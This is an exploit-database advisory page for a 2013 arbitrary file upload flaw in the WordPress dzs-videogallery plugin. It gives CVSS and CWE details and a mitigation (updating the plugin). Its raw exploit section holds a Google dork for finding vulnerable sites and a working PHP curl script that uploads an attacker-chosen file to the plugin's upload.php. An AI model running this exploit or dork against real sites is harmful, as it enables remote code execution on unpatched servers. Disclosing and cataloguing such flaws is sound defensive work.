WordPress dzs-videogallery Plugins Remote File Upload Vulnerability

vendor:

dzs-videogallery

by:

iskorpitx

7,5

CVSS

HIGH

Remote File Upload Vulnerability

434

CWE

Product Name: dzs-videogallery

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: Yes

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows/Linux

2013

WordPress dzs-videogallery Plugins Remote File Upload Vulnerability

A vulnerability in the WordPress dzs-videogallery plugin allows an attacker to upload arbitrary files to the server. The vulnerable file is upload.php, which is located in the /wp-content/plugins/dzs-videogallery/admin/dzsuploader/ directory. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to the upload.php file. This will allow the attacker to upload arbitrary files to the server, which can then be used to execute arbitrary code.

Mitigation:

Update to the latest version of the plugin.

Source

Exploit-DB raw data:

###################################################################################################
# Exploit Title: WordPress dzs-videogallery Plugins Remote File Upload Vulnerability
# Author: iskorpitx
# Date: 22/11/2013
# Vendor Homepage: http://digitalzoomstudio.net
# Themes Link: http://digitalzoomstudio.net/docs/wpvideogallery/
# Infected File: upload.php
# Category: webapps
# Google dork:inurl:/wp-content/plugins/dzs-videogallery/
# Tested on : Windows/Linux
###################################################################################################

<?php 
$uploadfile=""; 
$ch = curl_init("http://127.0.0.1/wp-content/plugins/dzs-videogallery/admin/dzsuploader/upload.php"); 
curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('file_field'=>"@$uploadfile")); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$postResult = curl_exec($ch); curl_close($ch); 
print "$postResult"; 
?>

http://127.0.0.1/wp-content/plugins/dzs-videogallery/admin/dzsuploader/upload/upload.html


_________________________________

All http://www.mavi1.org members